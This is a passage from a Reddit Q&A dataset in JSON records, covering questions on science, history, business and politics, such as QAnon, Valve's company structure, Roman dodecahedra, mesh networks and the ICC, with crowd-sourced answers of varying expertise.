many of them are related to the limitations on what the current axioms can do, as most basic questions about the structure of sets in standard axiomatic systems are more or less settled.\n\nTo get to 1=2, you would just have to redefine either '2' or '=' - which you could do without set theory, so it's somewhat pointless unless your definitions are in some way interesting."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Zermelo%E2%80%93Fraenkel_set_theory", "https://en.wikipedia.org/wiki/Peano_axioms", "https://en.wikipedia.org/wiki/Axiom_of_choice", "https://en.wikipedia.org/wiki/Topological_space#Definition", "https://math.stackexchange.com/questions/24854/what-are-the-issues-in-modern-set-theory"]]}
{"q_id": "1u1qp8", "title": "What are some reputable sources with which I can better understand theories on the origins of the universe and the evolutionary processes?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1u1qp8/what_are_some_reputable_sources_with_which_i_can/", "answers": {"a_id": ["cedxkfy"], "score": [2], "text": ["[A Brief History of Time](_URL_1_) and [Cosmos](_URL_0_) are two giants when it comes to bigger picture cosmology. Great to start with in my opinion"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Cosmos-Carl-Sagan/dp/0345331354", "http://www.amazon.com/Brief-History-Time-Stephen-Hawking/dp/0553380168"]]}
{"q_id": "1ysx0b", "title": "with netflix agreeing to pay comcast, which would seem to hurt their profitability, why is their stock climbing quickly today?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ysx0b/eli5_with_netflix_agreeing_to_pay_comcast_which/", "answers": {"a_id": ["cfng41a"], "score": [3], "text": ["Because its not that simple.\n\nWith the Comcast problem behind them, Netflix can now deliver its product at high quality to its Comcast using customers.  \n\nThe market is expecting Netflix to generate new customers and even higher revenue as many Comcast customers (who either left because of the poor service or never tried) now come into the fold.\n\nWhen this all shakes out, I suspect that Netflix will view the price it paid to Comcast as a good investment that generated considerably more than it cost them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9fwcqt", "title": "what is qanon?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9fwcqt/eli5what_is_qanon/", "answers": {"a_id": ["e5zqhnd", "e5zqpev", "e5zqrf1"], "score": [5, 7, 5], "text": ["It's a myth invented by the far right to explain how they can be almost totally in power, and yet things are STILL going to hell in a hand-basket. They invented it for the same reason they invented The Deep State: propaganda to deflect attention away from their near-total state of failure.\n\nUp until around the 1980s, American conservatives tended to be somewhat centrist. Right-wing media spokesmen tended to be articulate, well-educated guys like Bill Buckley and George Will. Then they began to drift towards the far, farrr right, and the pace of that has increased. Sometime around 2000, they went straight over the Cliffs of Insanity, and we are now in what some call the \"post-truth age,\" or what Kurt Andersen calls \"full Fantasyland.\" Today, media spokesmen for the right are wild-eyed, foaming-at-the-mouth wackaloons like Sean Hannity and Ann Coulter.\n\nSo because they have left reality behind, they need a cover story to explain why, with all the power they have seized, we are somehow not living in the conservative utopia they had promised. We have a Republican-controlled congress, the president has The Best Brain (by his own admission), and now even the Supreme Court is about to become firmly biased to the far right...so why isn't everything perfect?\n\nWell, *clearly* there are Sinister Liberal Forces at work trying to destroy America. Sure, there's no evidence whatsoever for their existence, but that's how clever these shadowy liberal guys are. Earlier nascent fascist governments had to use REAL people as scapegoats for all society's problems, like the Nazis blamed the \"mongrel races.\" The genius of the modern rush to fascism is that their boogeyman doesn't even need to be real, so there is ALWAYS one more of them lurking under the bed. But occasionally, they do need to pin the blame on real faces, so they keep screaming about Obama and Hillary. Clinton is usually assumed to be a Major Figure in The Deep State.\n", "Q is an anonymous user or users who started posting on 4chan but moved to 8chan. Q purports to have Q level security clearance, and leaks information about how the Trump administration is secretly fighting against the Deep State, a secretive cabal of satinist/globalist/(((Jewish)))/liberal/pedophile/athiest conspirators including the Clintons, Soros, the Pope, anyone else these loons have decided are evil. There have been a few high profile cases of Q believers causing trouble, such as the Hoover Dam thing a few weeks back. On Reddit, their sub would often revel and promote the idea of civil war, killing liberal figures, and the like.\n\n\nThey were really quite cultish. Q posts were/are super vague, but folks in that sub would find hidden meanings in EVERYTHING, such as tying in Trump's random capitalizing letters in tweets, his hand gestures, and numerology to \"confirm\" the Q posts are real. They also constantly are on the edge of their seats wanting for something big to happen, such as Hilary Clinton being sent to Guantanamo Bay for military tribunals, or Trump and Sessions suddenly revealing they were secretly investigating liberals/Communists/socialists and will indict tens of thousands of them.\n\n\nIt's a wild, politically charged conspiracy, all centered around some troll(s) on 8chan.", "Literally:\n\nA troll was trolling the trolls on 4chan, claiming to be an inside operative in DC. He said he had a \"q\" level security clearance and that he knew of a secret cabal of people in DC that were set to take down a massive ring of pedophiles and deep state, and that Trump was their leader or man on the inside.\n\nThese posts were a bunch of vague garbage like:\n \n\"As the world turns\n\nMarker.\n\nEverything has meaning\n\nEverything.\n\nQ & A\n\nQ: SR\n\nCommon Q.\n\nCounted on.\n\nDay after.\n\nDNC to initiate lawsuit (pre-planned)... \"\n(Real \"Q\" post)\n\n...it goes on, but you get the picture. A bunch of shit that can be cold read into anything and means nothing.\n\nSo a bunch of adults (sadly) bought into this and are all interpreting it as I described. So it attracted a bunch of nutty people that tended to be... not so smart and quick to call out death threats.\n\nE: oh, and Hillary Clinton eats kids faces and casts finger removing spells on people."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5qcozd", "title": "how do companies like valve which have a \"flat\" organizational structure work, seemingly without bosses or direction?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5qcozd/eli5_how_do_companies_like_valve_which_have_a/", "answers": {"a_id": ["dcy5v9v", "dcy7uf3", "dcy8m3l", "dcy8sek", "dcy8wv5", "dcy98sc", "dcyb82n", "dcyga8a", "dcz223s"], "score": [121, 6, 8, 15, 2, 29, 3, 24, 2], "text": ["These kinds of flat structures don't mean that there aren't leaders.  Theoretically everyone is there to do something impactful to the industry, and the more senior folks have good business sense and can figure out what's most important to work on.  Then, since you want to have a big impact, you join on with a cool, impactful project.\n\n", "Flat organizations mean that management needs to have actual leadership skills.  The kind of leadership skills that inspires people to WANT to come in to work every day and genuinely do their best. \n\nManagers like those found in Office Space that are blindly enforcing corporate policy will not do well in a flat structure.  ", "There was actually some hubbub about this a few years back that calls into question whether or not this sort of organizational structure really works all that well. [A couple former employees came out and talked about some of the problems they encountered](_URL_0_). No doubt they're biased being former employees, but I think some of the problems seem like they would be realistic. \n\nBasically an unspoken leadership structure forms naturally, but because it's unspoken it's very clique-ish ", "And when was the last time valve released a damn thing?\n\nThey buy companies with near finished products, and maintain what they have (sort of)...  \n\nMy point is that it sounds great on paper but does not seem to be very productive. ", "Flat may also just imply that it there isn't a hierarchical reporting and accountability structure. There is little doubt that GabeN is the leader of valve, however, he has delegated power and given individuals in the organization agency to make decisions. This doesn't mean that you still don't have key people setting the direction and vision for the company.", "I'm a big fan of Valve's structure and there's a few reasons why (I think) they can do what they do. Here's a bunch of factors to think about, in no order in particular: \n\n1. If they make a bad move the company has a lot of treasure to sustain itself. The huge profit margin coming from Steam that would keep the company afloat for years even if they released nothing at all or a string of failures. That allows them to think (very) long term. In the beggining Gabe Newel's personal fortune filled that role. \n\n2. Newell's goal was to build a company that constantly delivered innovation. For reasons I have yet to hear explained he ended up figuring out that that a completely flat, bossless structure was the way to do it. Considering they have built a series of acclaimed games, one of the first online marketplaces, and that they are, by most reports, behind most of the tech in the current VR renaissance, I would say he has suceeded.  \n\n3. Valve is also very, very careful about who they hire, and they are very swift in dealing with people who do not deliver value within their corporate structure. You can learn more about this from their corporate handbook. \n\n4. From the corporate handbook: You are supposed to listen carefully to your colleagues and Gabe Newell in particular. So it's boss-less until it's not, really. \n\n5. From what I've heard (personal reports and Glassdoor) there's some question about how good of a corporate culture having no bosses actually creates. Some people describe the culture at Valve as close to a high school. Also the Oculus move - there's a comment at hacker news recently (would have to find it) about how the VR team basically moved itself into Oculus with all the tech and they were quickly acquihired by Facebook, turning themselves into millionaires. In a bossless structure, the decision was made, I suppose, by the team itself. A very curious turn of events that many people at Valve are bitter about (again, according to the commenter). \n\nDefinitly read the handbook and Abrash's blog about Valve if you're interested, The history of how Gabe Newell arrived at that structure is interesting and while I respect his decision I'm not sure if any other company could work the way Valve works. ", "They don't. They said we were flat when I worked at Imgur, but we clearly weren't, and roles had to be defined soon after to end confusion and tension. ", "The reality is that their structure is only flat on an org chart. There are 8-10 leaders who basically drive the company in the direction they believe is best, and those people are the leadership (for better and for worse, because it's a *very* cliquish company).\n\nThere is a lot of lip service to the idea that 'anyone can get their idea built' but the reality is that you have to build consensus first and then get resources to get your project done, and that means you're taking resources away from one of the culture captains to do it. This is a big no-no and is why some employees feel marginalized and leave.\n\nLast but not least, I would argue that valve isn't a game company anymore, and hasn't been since ~HL2. They are a platform company, and despite their success (or because of it, when you're swimming in money there isn't a lot of impetus to change) their platform does a TERRIBLE job at developer experience. It's literally 5+ years behind the mobile platforms for usability. \n\nAs of today: you can't use digital marketing techniques to grow your game because they provide you no analytics so you don't know what is working, you can't use modern payment flows because steam wallet (which is a fucking shit-show... how many clicks to get to the center of the checkout experience??!?) you can't do paid user acquisition on steam because they want to control who grows and who doesn't. They don't detect fraud well, so when it happens you end up eating the cost because valve processes the transactions, you give the digital goodies away, and then a week later they say 'whoops! we're taking that money back because it was fraud' only you've already given away the stuff. \n\nBut you still *have* to be on steam, because it's where all the eyeballs are.\n\nSource: Done a lot of business with them, have friends who work there, have others who used to work there.", "I work in such an organization, and I answered a similar question two weeks ago. I'll copy it here:\n\n >  \n >  It depends on company policies and the people you're working with. I work in a ~400-employee software development/digital design studio with a Valve-like flat structure, and it works really well. The most important difference between us and Valve is that we primarily do consulting for other companies instead of working on our own projects. You can hop teams, but it happens very rarely, because people don't actually want to move from a project to a project on a weekly basis; most people like stability. When you hop teams, you typically change places with someone else in an another team. We have an internal piece of software for tracking in which project everyone is, and who to contact in matters related to a project.\n >  \n >  There aren't that many cases where you need someone to actually \"take the lead\". Teams make technical decisions by discussing about them, and the business people handle the business stuff. While the hierarchy is truly flat, some structure will always emerge naturally. You trust and follow an another person because they're more knowledgeable than you in a certain area, not because they can get you fired.\n >  \n >  Flat hierarchy is not for everyone, but you can definitely make it work with the right people and the right principles.\n >  \n\nSome additions:\n\nBeing flat doesn't mean there's no leadership. Social structures tend to form naturally; the most experienced/knowledgeable developer in the team with the best connections becomes a de facto team leader (without any *actual* power over others). All important decisions are made by teams, which are not just limited to development/design teams. The business people are their own team; they make decisions about customers, contracts etc. The \"leadership\" team handles large (= expensive) strategic decisions, like should we open an office in this country or should we acquire this startup. Same applies to marketing, recruiting, HR, internal development and so on.\n\nThe decision process varies from team to team, but from my experience it's not anything formal:\n\n >  Dev 1: Hey, should we use this technology for this thing?\n > \n >  Dev 2: I used it in a previous project, didn't work at all, crashed all the time and was expensive to maintain.\n > \n >  Dev 1: What did you use instead?\n > \n >  Dev 2: We used this thing.\n >  \n >  Dev 1: Ok, I think we should experiment with it.\n > \n >  Dev 3: I can try it out in the afternoon.\n > \n >  Dev 2: I can help you with it if you need anything.\n > \n\nDiscussions like this can happen as often as necessary; they're usually just 1-5 minute discussions in the team room or a dozen messages on a Slack channel.\n\nIf you have any further questions, I'm happy to answer.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.reddit.com/r/explainlikeimfive/comments/5qcozd/eli5_how_do_companies_like_valve_which_have_a/"], [], [], [], [], [], []]}
{"q_id": "1m2fwh", "title": "How did the Japanese (citizens and soldiers) react to Admiral Yamamoto's death?", "selftext": "I can only imagine the massive demoralization, but I'm curious about if we have any letters or journals dictating their reactions. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1m2fwh/how_did_the_japanese_citizens_and_soldiers_react/", "answers": {"a_id": ["cc5doqs", "cc5dvly"], "score": [55, 18], "text": ["[Here](_URL_1_) is one of the better English language sources I could find. I couldn't find any journals or letters for you, sorry.\n\nWithin the military government, the concern at the higher level was that the USA were cracking Japanese encryption codes. The USA did a clever misinformation campaign to avoid this point.\n\nHe was given a full state funeral in which Tojo himself read words of condolence, basically promising to [\"fulfill the mission in your stead\"](_URL_0_) which was obviously a futile statement.\n\nIt negatively hurt the morale of soldiers and citizens. There was also some outrage over the fact that his death was concealed for a month.\n\nAlso there was/is a good deal of conspiracy theory surrounding his actual murder, some Japanese even believing it was an internal assassination.", "As to the reaction of the navy, Gordon Prange's biography of Mitsuo Fuchida, leader of the Pearl Harbor raid, relates that the navy had already been shaken by the government's response to the disaster at Midway.  They had kept the wounded almost as prisoners to prevent civilians from hearing of the disaster.  They had not only said nothing about the loss of the four carriers and their planes, they had painted the battle as a victory.  So their morale had already been shaken and now the brilliant and charismatic Yamamoto's loss was devastating.  Fuchida's reaction was \"I believed now that the war had been entirely lost.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.rekishijin.jp/rekishijincalender201304/0418/", "http://www.freerepublic.com/focus/f-news/2715642/posts"], []]}
{"q_id": "cqd607", "title": "Hitler, Stalin, and La Guardia walk into a bar? Why was Fiorello LaGuardia lumped in with those two in a primary source I found? Why was he controversial?", "selftext": "While looking through an educational journal from the City of New York, I came across an article promoting tolerance. The author suggested that in \"an age that has produced Sigmund Freud, Bertrand Russell, G.K. Chesterton and John Strachey, not to mention Stalin, Hitler and Fiorello LaGuardia, is not one in which we can rejoice in each other's ideas.\" his idea of tolerance was to simply insist that ones \"creed, no matter how far it diverges from our own, is his affair and that he has as much right as anybody to air it.\"  \n\n\nThis made me wonder how La Guardia got lumped into the bin with Stalin and Hitler. What made him, at least in the eyes of this particular New York City educator, part of the bad group of ideas?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/cqd607/hitler_stalin_and_la_guardia_walk_into_a_bar_why/", "answers": {"a_id": ["exj3jaq"], "score": [9], "text": ["It would be helpful to have more detail on the reference -- the year, author, etc.  That would allow for a more confident answer.   La Guardia was, among other things, a master of ethnic politics, so it's possible this was more a reference to divisiveness than an accusation of an evil nature.  Roger Lotchin [describes](_URL_0_) La Guardia as \"famous for, and expert at, the instigation of identity animosities among groups.\"\n\nWith nothing else to go on, though, the passage might refer to La Guardia's anti-Japanese actions after Pearl Harbor.  Mason William recently described these as evidence of \"malignant racism\" on La Guardia's part.  In 2015, the Village Voice [included](_URL_4_) La Guardia on a list of \"honored New York City figures who were actually garbage humans\" on the same basis.\n\nObviously, La Guardia was not the only person swept up in anti-Japanese hysteria after Pearl Harbor, but it's worth noting that the subsequent Japanese internment policy developed slowly.  Roosevelt issued Executive Order 9066, establishing that policy, in February 1942 (over two months after the attack).\n\nLa Guardia, in contrast, reacted to Pearl Harbor immediately.  That same day, he issued orders confining Japanese residents of New York to their homes and closing Japanese-owned business establishment.  One or two hundred Japanese individuals were soon rounded up by law enforcement and detained at Ellis Island.  La Guardia also supported firing Japanese workers from city jobs.\n\nIn addition to serving as mayor of New York, La Guardia directed the federal Office of Civilian Defense (OCD) which had both traditional civil defense and propaganda functions.  La Guardia used that post to defend the German and Italian communities in the US even while attacking the Japanese community.  La Guardia was the son of the two Italian immigrants, so there was a great deal of hypocrisy here.  It's also [possible](_URL_1_) that through that role and his position on the Canadian-American Joint Board of Defense, La Guardia had some direct impact on Roosevelt's thinking, but that's speculative.\n\nIn 1944, when the Roosevelt administration began relocating some people from the internment camps, La Guardia strongly opposed the decision to send a few hundred to New York.  This drew a rebuke from Secretary of the Interior Harold Ickes who [accused](_URL_3_) La Guardia of \"playing the discordant theme of racial discrimination.\"  La Guardia also defended the killing of 200 Japanese prisoners during the Cowra breakout in Australia (whom he described as \"Jap monkeys\"). \n\nAll of that said, it's rather hard to cast La Guardia as one of history's greatest villains because he, like many others of his time, fell into anti-Japanese hysteria.  For the appropriate writer and audience, especially from New York, it's certainly possible.  I'm not completely sure, though.\n\nSources:\n\n\\-Matthew Dallek, *Defenseless Under the Night* \\- some of the relevant material is summarized in an [article](_URL_2_) he wrote for the New York Daily News.\n\n\\-Ronald Bayor, *Fiorello La Guardia: Ethnicity and Reform*\n\n*-*Thomas Kessner, *Fiorello H. LaGuardia and the Making of Modern New York*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=TklVDwAAQBAJ&amp;pg=PA310&amp;dq=%22famous+for+and+expert+at+the+instigation+of+identity+animosities%22&amp;hl=en&amp;sa=X&amp;ved=2ahUKEwiVzPuIvJLkAhVK1VkKHa2_BFYQ6AEwAHoECAAQAg#v=onepage&amp;q=%22famous%20for%20and%20expert%20at%20the%20instigation%20of%20identity%20animosities%22&amp;f=false", "https://www.jstor.org/stable/pdf/3639821.pdf", "https://www.nydailynews.com/opinion/matthew-dallek-echoes-donald-trump-fiorello-laguardia-article-1.2664972", "http://laguardiawagnerarchives.blogspot.com/2012/02/mayor-la-guardia-japanese-internment.html", "https://www.villagevoice.com/2015/12/03/six-honored-new-york-city-figures-who-were-actually-garbage-humans/"]]}
{"q_id": "2allb6", "title": "We talk about armed conflicts a lot. But, has there ever been a universally recognized economic war between two countries?", "selftext": "By economic war, I mean a country who is actively using economic forces to directly and maliciously harm another country's interests.  I view this as different than competition, where there is a give and take involved, and in which outright maliciousness would degenerate one's long term bargaining position.\r\rApologies if this is common knowledge or has been covered here before.  I'm on my phone, making it hard to effectively search the subreddit.\r", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2allb6/we_talk_about_armed_conflicts_a_lot_but_has_there/", "answers": {"a_id": ["ciwk9sw"], "score": [2], "text": ["[You mean like an embargo](_URL_0_)?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Embargo"]]}
{"q_id": "szgr6", "title": "Looking at felines and canines as an example, would it be possible, given enough time, to breed fully formed, healthy, anatomically proportionate one-foot-tall humans?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/szgr6/looking_at_felines_and_canines_as_an_example/", "answers": {"a_id": ["c4i9oqq", "c4iarcj", "c4iayra", "c4ibong", "c4ic8un", "c4iddq6"], "score": [11, 4, 21, 6, 3, 2], "text": ["I'd say most probably, mainly because there doesn't seem to be a particular reason why not. Dwarfism occurs by itself every now and again, when a species is isolated like on an island. There's gonna be a limit to how small a human you could get, but one foot seems plausible enough. Checking wikipedia, the smallest recorded humans are about two feet, so one foot is not too much of a stretch.\n\nYou might also look at homo floresiensis.", "I think in theory it would work. Just through selective breeding it should be possible to cultivate that phenotype. ", "The world's shortest adult human [Chandra Bahadur Dangi](_URL_0_) is 1 foot 9 inches tall.\n\nI think the main problem with your question would be the healthy,  anatomically proportionate part. If you scale the human body down you will eventually run into the similar problems as when you scale it up. Square-cube law etc. 1 Foot just might be within the realms of possible if you make some allowances. Unlike most giants who die at an early age Mr. Dangi is currently in his 70s.\n\nI am unsure what lower bounds there are for things like brain size and the female reproductive system. I think that brains probably wouldn't be too much of a problem and with things like primordial dwarfism where the dwarfism starts before birth you could probably manage pregnancy too.", "Given time you could get anatomically proportionate humans, but I'm pretty sure they would be rather dumb.  I have serious doubts about fitting a fully functioning human brain in a 1/5th to 1/6th size braincase.", "On an unlimited time line of course you could.  On a long enough time line you can make a single celled organism into a human.", "I believe your premise is flawed. Breeding dogs hasn't only produced fully formed, healty, anatomically proportionate small dogs. Emphasis on the \"healthy\" part. To vastly change size in a handful of generations, is really only possible with at least some inbreeding, and severe genetic defects are inevitable. A lot of dog breeds have high occurances of serious health problems e.g. [King Charles Spaniels](_URL_1_).\n\nSee for example [Pedigree dogs exposed](_URL_0_) for more information.\n\nDog lifespans are also an indication of what side effects intensive breeding can have. Some dogs have very short lifespans, e.g. [Dogue de Bordeux](_URL_2_) which only live for an average of 5.2 years, while the logest living dog breeds may live for an average of [15 years](_URL_2_).\n\nTL;DR Many of the small dog breeds have, as a side effect of breeding, severe genetic health problems, so your premise is flawed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Chandra_Bahadur_Dangi"], [], [], ["http://topdocumentaryfilms.com/pedigree-dogs-exposed/", "http://en.wikipedia.org/wiki/King_charles_spaniel", "http://en.wikipedia.org/wiki/Dogue_de_Bordeaux"]]}
{"q_id": "1g8ic0", "title": "What was the Roman dodecahedron ball's function?", "selftext": "Want to preface this with I know /r/whatisthisthing might seem a bit more appropriate, but this has a lot of historical connotation to it which I feel the average poster on Reddit may not be able to answer.\n\nAbout a hundred were found all across Europe from Wales to Italy to Hungary and are dated to the late Roman Empire, shortly before its fall and most were made out of bronze. What really gets me is that they are all really unique, as if they are personalized and they were found in a variety of places. Some were found tossed in water wells, people were also sometimes buried with them as if it was one of their most prized possessions.\n\nPic related on some of the diversity I've found in their design:\n\n_URL_0_\n\nThere doesn't seem to be much information on the internet about these, so I was wondering if any of the Roman or European history buffs here might have some insight of what this mysterious object would likely be.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1g8ic0/what_was_the_roman_dodecahedron_balls_function/", "answers": {"a_id": ["cai3py9"], "score": [4], "text": ["Archaeology student here :)\n\nTruth is no one knows what it was used for .\n\nThere are several hypotheses however ...  \nCould have been for a religious purpose ( a model of the cosmos ? ), an  [agrarian tool](_URL_3_) , a gambling game , a gauge of some kind, a \"decor\" ,a toy, [a range finder](_URL_0_) ( my favorite ! )  ....\n\nHere's a bibliography if you want :\n\n\n\nC. Hill, \u00ab L Gallo-Roman Dodecahedra: a progress report \u00bb, The Antiquaries' Journal, vol. 74, 1994, p. 289\u2013292\n\nGreiner,B.A.,1995. R\u00f6mische Dodeca\u00ebder. Carnuntum Jahrbuch 1995. p.9/44.\n\nA.C. Sparavigna, A Roman Dodecahedron for measuring distance, 2012, arXiv, \narXiv:1204.6497v1 [physics.pop-ph], _URL_1_\n\nA.C. Sparavigna, Ancient and modern rangefinders, 2012, arXiv, arXiv:1205.2078v1 \n[physics.pop-ph], _URL_2_\n3. G. Guillier, R. Delage and P.A. Besombes, Une fouille en bordure des thermes de Jublains \n(Mayenne) : enfin un dod\u00e9ca\u00e8dre en contexte arch\u00e9ologique!, Revue arch\u00e9ologique de l'Ouest, \nVol.25, p. 269-289, 2008\n\nJong,J.A. de,1990. Algemene plantenteelt voor het middelbaar agrarisch onderwijs.\n\nMeeus,J.,1982. Astronomical Formulae for Calculators, second edition, Enlarged  &  Revised. \nKrefeld, H., 1963. Res Romanae.\n\nNouwen,R.1993. De Romeinse Pentagon-dodeca\u00ebder: mythe en enigma. Publicaties van het Gallo-Romeins Museum, Tongeren, Nr 45, Hasselt.\n\nPhilips,J.F.R., Jansen,J.C.G.M., Claessens,Th.J.A.H.,1965. Geschiedenis van de landbouw in Limburg 1750-1914. Maas-landse Monografie\u00ebn.\n\nRoymans,N.,1990. Tribal societies in Northern Gaul. An anthropological perspective.\n\nWagemans,G.M.C.,1996. Mysterie Romeinse Pentagon-dodeca\u00ebder ontsluierd? Westerheem, jaargang 45 no.4 p.199/207.\n\nWagemans,G.M.C.,1997. Was de Romeinse pentagon-dodecaeder een astronomisch meetinstrument voor het bepalen van de zaaidatum? Oudheidkundige mededelingen uit het Rijksmuseum van Oudheden te Leiden 77, 1997.\n\n"]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/rZVm7#0"], "answers_urls": [["http://arxiv.org/ftp/arxiv/papers/1206/1206.0946.pdf", "http://arxiv.org/abs/1204.6497", "http://arxiv.org/abs/1205.2078", "http://www.dodecaeder.nl/en/hypothese"]]}
{"q_id": "fsc23h", "title": "Are antibodies sexually transmitted?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/fsc23h/are_antibodies_sexually_transmitted/", "answers": {"a_id": ["fm0nweg"], "score": [14], "text": ["afaik, no. (not a biologist or doctor)\n\nAntibodies are a result of your body's immunesystem figuring out a way of how to kill an external invading entity like a virus in your body. Since they are in your bloodstream, and beig produced because your body knows how to, and apparently is fighting this specific type of invasion right now, they are yours, and should be leaking out.\n\nUnless the invading entity is being transmitted the other participant will have no need for your antibodies, and unless you also swap blood during sex there should be no transmission of antibodies.\n\nAntibodies can however be transplanted from one human to another in the form of plasma or blood transfusions, and in that case can attack the same foreign entity as for which they where originally 'grown' in another human. So harvesting antibodies in former patients to cure current patients is a valid strategy (in some diseases)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "16aq9y", "title": "When people say \"My dog just smells your dogs on you,\" is there any truth to this? Does an animal someone owns change who another animal likes/dislikes? ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16aq9y/when_people_say_my_dog_just_smells_your_dogs_on/", "answers": {"a_id": ["c7uba8v", "c7ucawa"], "score": [3, 3], "text": ["This probably depends on the individual dog, but they can surely smell your pets on you. Human olfaction is pretty crap (we lost a lot of olfactory receptors on the evolutionary path), and dogs can detect smells with a sensitivity many orders of magnitude greater than humans.", "Dogs, and cats even more, have much much better olfactory system then we do and can pick apart individual scents in ways we can barely imagine. They can pick apart smells much like we can pick apart colors, while you can see a tiny red smudge on a brown wall, they can smell that you touched a puppy or kitten while visiting an animal shelter, hours ago.\n\nIn general the only sense that we have better then either of them is daytime color vision, "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1xcw65", "title": "Would peer to peer wifi be possible?", "selftext": "Could we gain any advantage creating a system where multiple access points are increasing the amount of data shared. Where a device gains signal strength by increasing the number of connections, instead of being solely connected to one source.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xcw65/would_peer_to_peer_wifi_be_possible/", "answers": {"a_id": ["cfa7186", "cfak3gz", "cfaqwq7"], "score": [9, 33, 8], "text": ["[Yes we can!](_URL_0_)  Essentially the benefit comes from balancing the load that each connection uses.  For torrenting, it works very well, because you're already connecting to multiple sources.  But for connecting to one source (streaming media, or a direct download) it wouldn't improve it at all, and should default to use the fastest connection to receive what you're getting.  However, if you're trying to get two large files from single sources, then yes, you may be able to use the maximum bandwidth from both connections to receive both files at the same time at maximum speed.  ", "Yes, these are called [Mesh Networks] (_URL_0_) and people have started building them in many cities around the world. Currently Hyperboria is the biggest and most popular one and it uses the [Cjdns] (_URL_1_) protocol.\n\nWe have also started to see mesh networks operating at frequencies higher than 2.4 GHz used for Wifi. Higher frequencies allow for greater bandwidth and better range. GSM carriers have used microwave links for backhaul traffic for a long time and it had proven to be cheap and reliable technology.  Nowadays the same technology is gaining popularity for public mesh networks. \n\nEDIT: check out /r/darknetplan This is where most of the things happen.", "Ham radio operators are taking this idea to another level with something called [HSMM-MESH](_URL_0_). Hams are allowed to use higher wattage and wider bandwidth on 2.4 ghz than consumer application. They've taken advantage of this by reprogramming Linksys routers to auto-discover each other and form a wireless mesh network with 2-10 miles between nodes. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.makeuseof.com/answers/how-do-i-combine-multiple-wireless-connections-for-a-faster-internet/"], ["https://en.wikipedia.org/wiki/Mesh_network", "https://en.wikipedia.org/wiki/Cjdns#Hyperboria"], ["http://www.reddit.com/r/hsmm_mesh"]]}
{"q_id": "1m656u", "title": "why is the usa not a signatory to the international criminal court treaty? how is the rest of the world okay with this?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1m656u/eli5_why_is_the_usa_not_a_signatory_to_the/", "answers": {"a_id": ["cc6872f", "cc68ubt", "cc6ckgv", "cc6d697", "cc6dekd"], "score": [3, 5, 8, 4, 3], "text": ["I'll put it in very simple terms:\nWhat is the rest of the world going to do about it?\nRight.", "Because aircraft carriers, submarines, and nukes.", "The United States has so far chosen not to be a party because they fear that some nations would misuse the ICC to bring charges against the US military for alleged actions in foreign countries.  That is the public reason. \nThey fear the system being used as a tool of revenge or spite. \n\nThe United States does not mind the ICC using their power in order to \nprosecute war criminals from other countries.\n\n\n", "The US wants to prosecute people who commit crimes during warfare under their flag in their own military court.  While most countries who become part of the ICC don't lose much by doing so, the US stands to lose a lot because, regardless of your opinions on US foreign policy, their soldiers find themselves in conflict much more often than most other countries which actually are a part of the treaty.  As a result, the US would open themselves up to a lot of potential issues with the ICC if they should become a member, issues many other countries wouldn't have to deal with.  If your soldiers rarely, or never, fight, you gain a reputation boost by cooperating without actually giving anything up.  This would not be true for the US if they were to become a member.\n\n\nAdditionally, the ICC doesn't really have a great record when it actually comes to convicting war criminals, and on the rare event that a conviction is handed down, the sentence isn't very long (For example, Thomas Lubanga Dyilo, one of the very few war criminals to have been convicted by the ICC in its 15 year history, was sentenced to only 14 years for forcing children to fight in his army in the DRC.  Personally I don't think this is a very serious punishment for such a terrible crime).  In contrast the US does, believe it or not, convict many soldiers of crimes committed in war zones, and they often face sentences which can be much harsher (For example, the death sentence is still possible for US soldiers convicted of serious enough crimes).\n\nSo tl;dr: The US gains basically nothing from being a part of the ICC, while standing to lose quite a bit.  On top of that, the ICC hasn't, as of yet, proven very effective at convicting war criminals, having very few convictions in its 15 year history.  In contrast, the US military court system, while not perfect, has sentenced a much greater number of individuals for crimes committed in war zones during that same time period.\n\nEdit: Spelling and stuff", "The most important thing to remember about international law is that it is for lack of a better word made up. International law only exists between nations when both nations agree to it, this is why the UN really doesn't have much real power. Treaties are not contracts they can be token lawfully and the only real consequence is that you look bad(unless the other nations in the treaty decided to take action against you).\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
